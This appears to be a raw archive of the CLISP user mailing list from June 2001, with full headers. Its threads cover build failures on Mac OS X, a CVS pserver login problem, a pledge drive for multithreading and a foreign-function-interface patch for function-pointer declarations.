(EDT) X-Envelope-To: To: "Eric de Groot" Cc: Subject: Re: [clisp-list] compiling 2.26 References: <008801c0e8ca$cbf060e0$4381fb18@CX417245D> <004d01c0e952$0fe48b00$4381fb18@CX417245D> <00cc01c0e966$06370920$4381fb18@CX417245D> <00c101c0ea37$71d5ed00$4381fb18@CX417245D> Reply-To: X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <00c101c0ea37$71d5ed00$4381fb18@CX417245D> Date: 01 Jun 2001 10:16:57 -0400 Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <00c101c0ea37$71d5ed00$4381fb18@CX417245D> > * On the subject of "Re: [clisp-list] compiling 2.26" > * Sent on Thu, 31 May 2001 18:09:01 -0700 > * Honorable "Eric de Groot" writes: > > Telling me "There is no package with name "SCREEN"". this means that your termcap library is somehow deficient. you should investigate this. Nevertheless, this is not a good reason for CLISP not to compile. Please do 'cvs up' - I believe I just fixed your problems. Thanks for your bug reports. Please note that you should subscribe to clisp-devel and ask questions there, since you are not using a released version of CLISP. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Hard work has a future payoff. Laziness pays off NOW. From sds@gnu.org Fri Jun 01 08:00:39 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155qPn-0008LV-00 for ; Fri, 01 Jun 2001 08:00:39 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA01801; Fri, 1 Jun 2001 11:00:33 -0400 (EDT) X-Envelope-To: To: Marco Antoniotti Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLISP MT References: <200106011351.JAA05959@octagon.mrl.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200106011351.JAA05959@octagon.mrl.nyu.edu> Date: 01 Jun 2001 10:57:37 -0400 Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200106011351.JAA05959@octagon.mrl.nyu.edu> > * On the subject of "Re: [clisp-list] CLISP MT" > * Sent on Fri, 1 Jun 2001 09:51:38 -0400 > * Honorable Marco Antoniotti writes: > > > X-Envelope-To: > > Reply-To: sds@gnu.org > > Mail-Copies-To: never > > From: Sam Steingold > > User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 > > Content-Type: text/plain; charset=us-ascii > > Sender: clisp-list-admin@lists.sourceforge.net > > X-BeenThere: clisp-list@lists.sourceforge.net > > X-Mailman-Version: 2.0.5 > > Precedence: bulk are you sure you need to include 10 lines of headers? > > Don Cohen is accepting pledges to pay for > > CLISP MT. Right now we have $1,000.00. Please contact Don personally > > if you would like to contribute. > > What is CLISP MT? MT = multi-threading you would have found it out if you clicked on the URL I sent. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Software is like sex: it's better when it's free. From peter.wood@worldonline.dk Fri Jun 01 08:04:54 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155qTt-0001PV-00 for ; Fri, 01 Jun 2001 08:04:53 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 847FFB759 for ; Fri, 1 Jun 2001 17:04:31 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f51ExIP00177 for clisp-list@lists.sourceforge.net; Fri, 1 Jun 2001 16:59:18 +0200 Date: Fri, 1 Jun 2001 16:59:18 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP MT Message-ID: <20010601165918.A157@localhost.localdomain> References: <200106011351.JAA05959@octagon.mrl.nyu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200106011351.JAA05959@octagon.mrl.nyu.edu>; from marcoxa@cs.nyu.edu on Fri, Jun 01, 2001 at 09:51:38AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, Jun 01, 2001 at 09:51:38AM -0400, Marco Antoniotti wrote: > > What is CLISP MT? > At a guess, multi-threading. Regards, Peter From don-sourceforge@isis.compsvcs.com Fri Jun 01 08:05:58 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155qUw-00021t-00 for ; Fri, 01 Jun 2001 08:05:58 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f51F7cR22685; Fri, 1 Jun 2001 08:07:38 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15127.44985.559301.964226@isis.compsvcs.com> Date: Fri, 1 Jun 2001 08:07:37 -0700 (PDT) To: Marco Antoniotti Cc: sds@gnu.org, clisp-list@sourceforge.net Subject: Re: [clisp-list] CLISP MT - more details In-Reply-To: <200106011351.JAA05959@octagon.mrl.nyu.edu> References: <200106011351.JAA05959@octagon.mrl.nyu.edu> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > What is CLISP MT? The project is to make clisp MultiThreaded (=MT), also known as multiprocessing in olden times. This has been discussed on and off for years and many of us have wished for it. Sam seems to have found someone in Russia who he says can do it for very few dollars (possibly still a reasonable number of rubles) - he suggests a few thousand dollars might be enough. Sam wrote: Of course, the job will be advertised on SF and the result would have to be approved by Bruno. I don't claim to understand the details of the proposed implementation but I'm willing to trust Bruno's judgment. Given the amount I thought it made sense to ask for contributions from individuals. Of course, if you can justify charging your research contract or spending company funds, better still. Let me know how much you're willing to contribute. If the contributions exceed the actual cost then I think we should just reduce each contribution in proportion. I see that Sam has volunteered me to collect the pledges. I guess that's only fair since I was trying to volunteer him. I guess we'll figure out how to collect the actual money after it's determined that there will be enough to do something worth while. > > Don Cohen is accepting pledges to pay for The address above seems not to work. (So far I think the problem is in the sourceforge mailer.) Instead use the address from which I send this message, don-sourceforge@isis.compsvcs.com (Don Cohen) From finton@nova10.cs.wisc.edu Fri Jun 01 14:09:20 2001 Received: from pop.cs.wisc.edu ([128.105.6.13]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155wAZ-0001It-00 for ; Fri, 01 Jun 2001 14:09:19 -0700 Received: from nova10.cs.wisc.edu (nova10.cs.wisc.edu [128.105.119.110]) by pop.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id QAA07086; Fri, 1 Jun 2001 16:09:16 -0500 (CDT) Received: from localhost (finton@localhost) by nova10.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id QAA12373; Fri, 1 Jun 2001 16:09:16 -0500 (CDT) Date: Fri, 1 Jun 2001 16:09:16 -0500 (CDT) From: "David J. Finton" To: clisp-list@lists.sourceforge.net cc: David Finton Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] clisp for OSX? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I tried mailing one of the clisp developers and received an automated note that I should contact this list. So here goes. Is there indeed a clisp binary for Macintosh OS-X? I was told that there was, and I downloaded a Mac tarball from the binaries page. But after expanding this, I wasn't able to find any binaries, and couldn't find any further directions for use under Mac OS-X. So I tried building clisp. I did a "make" in the clisp folder, as directed, but got errors (see below). I think I know how to remove some of these (for example, the one referring to dbuenzli). But the fact that I would need to do so makes me think that there are deeper problems here, or else I'm just overlooking the obvious. Any suggestions? Thanks in advance, David Finton finton@cs.wisc.edu ---------- Build attempt: ----------- [localhost:~/Downloads/clisp-2.25.1] djf% make cc -O base/modules.o base/lisp.a base/libsigsegv.a base/libiconv.a base/libintl.a base/libreadline.a -liconv -L/Users/dbuenzli/tmp/build/lib -o base/lisp.run /usr/bin/ld: warning -L: directory name (/Users/dbuenzli/tmp/build/lib) does not exist /usr/bin/ld: table of contents for archive: base/lisp.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libsigsegv.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libiconv.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libintl.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libreadline.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: can't locate file for: -liconv make: *** [base/lisp.run] Error 1 [localhost:~/Downloads/clisp-2.25.1] djf% From sds@gnu.org Fri Jun 01 20:44:06 2001 Received: from out1.prserv.net ([32.97.166.31] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1562Kc-0000dl-00 for ; Fri, 01 Jun 2001 20:44:06 -0700 Received: from xchange.com (slip-32-100-243-177.ma.us.prserv.net[32.100.243.177]) by prserv.net (out1) with ESMTP id <2001060203440220100gv6d4e>; Sat, 2 Jun 2001 03:44:03 +0000 To: "David J. Finton" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp for OSX? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 01 Jun 2001 23:41:54 -0400 Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] clisp for OSX?" > * Sent on Fri, 1 Jun 2001 16:09:16 -0500 (CDT) > * Honorable "David J. Finton" writes: > > Is there indeed a clisp binary for Macintosh OS-X? I was told that > there was, and I downloaded a Mac tarball from the binaries page. But > after expanding this, I wasn't able to find any binaries, and couldn't > find any further directions for use under Mac OS-X. what you got appears to be a binary distribution. it does require compiling a simple wrapper for installation. please do edit the makefile as you wish. actually, you don't have to compile anything. if you unpack the binary distribution in directory ${FOO}, you can run CLISP like this: ${FOO}/base/lisp.run -B ${FOO} -M ${FOO}/base/lispinit.mem > Any suggestions? if you fail to make use of the binary distribution, get the sources and compile them using "./configure --build build". -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Yeah, yeah, I love cats too... wanna trade recipes? From finton@nova10.cs.wisc.edu Sat Jun 02 14:55:09 2001 Received: from pop.cs.wisc.edu ([128.105.6.13]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 156JGo-0008Ml-00 for ; Sat, 02 Jun 2001 14:49:18 -0700 Received: from nova10.cs.wisc.edu (nova10.cs.wisc.edu [128.105.119.110]) by pop.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id QAA11787; Sat, 2 Jun 2001 16:49:14 -0500 (CDT) Received: from localhost (finton@localhost) by nova10.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id QAA11481; Sat, 2 Jun 2001 16:49:14 -0500 (CDT) Date: Sat, 2 Jun 2001 16:49:14 -0500 (CDT) From: "David J. Finton" To: Sam Steingold cc: clisp-list@lists.sourceforge.net, David Finton Subject: Re: [clisp-list] clisp for OSX? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam, thanks for your help! I tried following your suggestions, but ran into the following additional problems: On 1 Jun 2001, Sam Steingold wrote: > actually, you don't have to compile anything. > if you unpack the binary distribution in directory ${FOO}, you can run > CLISP like this: > ${FOO}/base/lisp.run -B ${FOO} -M ${FOO}/base/lispinit.mem The version I unpacked doesn't have lisp.run anywhere. It does have base/lispinit.mem, though. > if you fail to make use of the binary distribution, get the sources and > compile them using "./configure --build build". Since the version I unpacked appears to have the source, I tried building this (unsuccessfully). Do you mean I should unpack a different version? This version doesn't have a file called configure anywhere in the directory structure. I did find src/config.fas and src/config.lisp though. I tried commenting out "-L /Users/dbuenzli/tmp/build/lib" in the Makefile and tried a make, for giggles. Didn't work (errors below). So. Is this really a binary distribution if it doesn't have lisp.run? If so, can you tell me what to look for -- I'm pretty green when it comes to building. Thanks for looking at this, David Finton ------------------------------------------------------------------------ [localhost:~/Downloads/clisp-2.25.1] djf% make cc -O base/modules.o base/lisp.a base/libsigsegv.a base/libiconv.a base/libintl.a base/libreadline.a -liconv -o base/lisp.run /usr/bin/ld: table of contents for archive: base/lisp.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libsigsegv.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libiconv.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libintl.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libreadline.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: can't locate file for: -liconv make: *** [base/lisp.run] Error 1 From sds@gnu.org Sat Jun 02 20:40:07 2001 Received: from out1.prserv.net ([32.97.166.31] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 156ObY-00055s-00 for ; Sat, 02 Jun 2001 20:31:04 -0700 Received: from xchange.com (slip-32-101-27-131.ma.us.prserv.net[32.101.27.131]) by prserv.net (out1) with ESMTP id <200106030330592010141612e>; Sun, 3 Jun 2001 03:31:01 +0000 To: "David J. Finton" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp for OSX? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 02 Jun 2001 23:28:08 -0400 Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "Re: [clisp-list] clisp for OSX?" > * Sent on Sat, 2 Jun 2001 16:49:14 -0500 (CDT) > * Honorable "David J. Finton" writes: > > The version I unpacked doesn't have lisp.run anywhere. It does have > base/lispinit.mem, though. so it is a binary distribution. you did not even post the name of the file you got. (people, everyone, when sending a bug report, please tell us where you got the file, its name, timestamp, moon phase when you unpacked it, the position of your microwave oven relative to the TV set &c). > [localhost:~/Downloads/clisp-2.25.1] djf% make > cc -O base/modules.o base/lisp.a base/libsigsegv.a base/libiconv.a > base/libintl.a base/libreadline.a -liconv -o base/lisp.run this is trying to build lisp.run. you can try to investigate the error message &c, but your best bet is getting the sources and building from them. go to http://clisp.cons.org get the source tarball (clisp-2.26.tar.gz or clisp-2.26.tar.bz2) untar do ./configure --build build -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on When we write programs that "learn", it turns out we do and they don't. From miles@www.invert.com Mon Jun 04 18:02:41 2001 Received: from invert.com ([209.164.21.15] helo=www.invert.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1574sO-0004Z9-00 for ; Mon, 04 Jun 2001 17:39:16 -0700 Received: (from miles@localhost) by www.invert.com (8.10.1/8.10.1AA) id f550dAu72006 for clisp-list@lists.sourceforge.net; Mon, 4 Jun 2001 17:39:10 -0700 (PDT) (envelope-from miles) Date: Mon, 4 Jun 2001 17:39:10 -0700 From: Miles Egan To: clisp-list@lists.sourceforge.net Message-ID: <20010604173910.A71957@caddr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] patch diffs at cons.org Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Thanks for putting up the patch diffs at cons.org. One niggle: would it be possible to do diffs at a consistent patch level, preferrably at -p1 to the toplevel clisp directory? I had to dig around in the source tree to find all the patched files. -- miles From bhyde@zap.ne.mediaone.net Wed Jun 06 06:58:07 2001 Received: from zap.ne.mediaone.net ([66.31.108.127]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 157dow-0003Nj-00 for ; Wed, 06 Jun 2001 06:58:02 -0700 Received: (qmail 62247 invoked by uid 1000); 6 Jun 2001 13:57:49 -0000 Date: 6 Jun 2001 13:57:49 -0000 Message-ID: <20010606135749.62246.qmail@zap.ne.mediaone.net> From: Ben Hyde To: clisp-list@lists.sourceforge.net Subject: [clisp-list] pserver access, can't "login" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Very nice piece of work, keep it up! I'm confused, can somebody help? $ cvs -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp login (Logging in to anonymous@cvs.clisp.sourceforge.net) CVS password: anonymous cvs [login aborted]: authorization failed: server cvs.clisp.sourceforge.net rejected access $ It appears I can not get access to the pserver for clisp. That makes it harder to offer up patches :-). [[While I'm on the wire, I'd be happy if the mailing lists didn't display the subscribers, there is a toggle in the mailman UI under privacy options.]] - ben From sds@gnu.org Wed Jun 06 08:20:38 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 157f6s-00073u-00 for ; Wed, 06 Jun 2001 08:20:38 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA10125; Wed, 6 Jun 2001 11:20:34 -0400 (EDT) X-Envelope-To: To: Ben Hyde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pserver access, can't "login" References: <20010606135749.62246.qmail@zap.ne.mediaone.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010606135749.62246.qmail@zap.ne.mediaone.net> Date: 06 Jun 2001 11:19:57 -0400 Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010606135749.62246.qmail@zap.ne.mediaone.net> > * On the subject of "[clisp-list] pserver access, can't "login"" > * Sent on 6 Jun 2001 13:57:49 -0000 > * Honorable Ben Hyde writes: > > I'm confused, can somebody help? > > $ cvs -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp login > (Logging in to anonymous@cvs.clisp.sourceforge.net) > CVS password: anonymous > > cvs [login aborted]: authorization failed: server cvs.clisp.sourceforge.net rejected access > $ please ask about this the SF maintainers! I have no control over the servers. > [[While I'm on the wire, I'd be happy if the mailing lists didn't > display the subscribers, there is a toggle in the mailman UI under > privacy options.]] okay, done - the list is now visible only to the subscribers. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Those who value Life above Freedom are destined to lose both. From sds@gnu.org Wed Jun 06 08:38:57 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 157fOb-0002ZE-00 for ; Wed, 06 Jun 2001 08:38:57 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA14227; Wed, 6 Jun 2001 11:38:53 -0400 (EDT) X-Envelope-To: To: "Eric de Groot" Cc: clisp-list@lists.sourceforge.net References: <010901c0eb25$95f320b0$4381fb18@CX417245D> <00e701c0ee78$091f8240$4381fb18@CX417245D> Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <00e701c0ee78$091f8240$4381fb18@CX417245D> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 06 Jun 2001 11:38:19 -0400 Message-ID: Lines: 52 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: clisp ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <00e701c0ee78$091f8240$4381fb18@CX417245D> > * On the subject of "Re: clisp ffi" > * Sent on Wed, 6 Jun 2001 04:01:27 -0700 > * Honorable "Eric de Groot" writes: > > Ok, cool, the only problem I have at the moment is the function pointer. > For the lisp I have: > > (error_handler (c-ptr (c-function))) > > which gives me: > > void * ERROR_HANDLER (); > > but I need: > > void (*ERROR_HANDLER)(); I thought that in ANSI C void (*f) (); and void f (); were interchangeable. please try this patch and see if it helps _and_ does not break any other code. Index: foreign1.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/foreign1.lisp,v retrieving revision 1.7 diff -u -w -b -u -b -w -i -B -r1.7 foreign1.lisp --- foreign1.lisp 2001/06/03 04:04:35 1.7 +++ foreign1.lisp 2001/06/06 15:31:03 @@ -599,7 +599,7 @@ (to-c-typedecl (svref c-type 1) (format nil "(~A)[~D]" name (svref c-type 2)))) ((c-ptr c-ptr-null c-array-ptr) - (to-c-typedecl (svref c-type 1) (format nil "* ~A" name))) + (to-c-typedecl (svref c-type 1) (format nil "(* ~A)" name))) (c-function (to-c-typedecl (svref c-type 1) (format nil "~A ()" name))) (t (error (ENGLISH "illegal foreign data type ~S") [PS. no clisp support via private e-mail - please use the lists!] -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on A poet who reads his verse in public may have other nasty habits. From bhyde@zap.ne.mediaone.net Wed Jun 06 09:00:41 2001 Received: from zap.ne.mediaone.net ([66.31.108.127]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 157fjb-0006uM-00 for ; Wed, 06 Jun 2001 09:00:39 -0700 Received: (qmail 63167 invoked by uid 1000); 6 Jun 2001 16:00:33 -0000 From: Ben Hyde MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15134.21407.693580.467745@zap.ne.mediaone.net> Date: Wed, 6 Jun 2001 12:00:31 -0400 (EDT) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pserver access, can't "login" In-Reply-To: References: <20010606135749.62246.qmail@zap.ne.mediaone.net> X-Mailer: VM 6.71 under 21.1 "20 Minutes to Nikko" XEmacs Lucid (patch 2) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold wrote: > > * On the subject of "[clisp-list] pserver access, can't "login"" ... > please ask about this the SF maintainers! Done: http://sourceforge.net/tracker/index.php?func=detail&aid=430715&group_id=1&atid=100001 > > display the subscribers > > okay, done - the list is now visible only to the subscribers. your a saint. - ben "Lisp has as much syntax as any other langage, it just spends it syntax dollars better." From eric@ericdegroot.com Wed Jun 06 13:47:36 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 157kD0-0006Uv-00 for ; Wed, 06 Jun 2001 13:47:18 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id NAA12993; Wed, 6 Jun 2001 13:47:08 -0700 (PDT) Message-ID: <005c01c0eeca$1eae2e70$4381fb18@CX417245D> From: "Eric de Groot" To: Cc: References: <010901c0eb25$95f320b0$4381fb18@CX417245D><00e701c0ee78$091f8240$4381fb18@CX417245D> Subject: Re: [clisp-list] Re: clisp ffi Date: Wed, 6 Jun 2001 13:48:45 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam- Ok, I tried the patch you sent me, but now I get parens around everything I use c-ptr with. Only function pointers need the parens. Maybee this will require a new case, like C-FUNCTIONPTR or something? I also get parens around the def of mysql_init now like: extern struct t2248 { /* ....... */ } (* (mysql_init)()); from: (def-c-call-out mysql_init (:arguments (mysql (c-ptr st_mysql))) (:return-type (c-ptr st_mysql))) Also, you can see above, it's still not doing the arguments, I just get mysql_init(). Thanks. -Eric de Groot mailto:eric@ericdegroot.com From sds@gnu.org Wed Jun 06 15:14:47 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 157lZf-0004fc-00 for ; Wed, 06 Jun 2001 15:14:47 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id SAA03234; Wed, 6 Jun 2001 18:14:42 -0400 (EDT) X-Envelope-To: To: "Eric de Groot" Cc: Subject: Re: [clisp-list] Re: clisp ffi References: <010901c0eb25$95f320b0$4381fb18@CX417245D> <00e701c0ee78$091f8240$4381fb18@CX417245D> <005c01c0eeca$1eae2e70$4381fb18@CX417245D> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <005c01c0eeca$1eae2e70$4381fb18@CX417245D> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 06 Jun 2001 18:13:54 -0400 Message-ID: Lines: 30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: 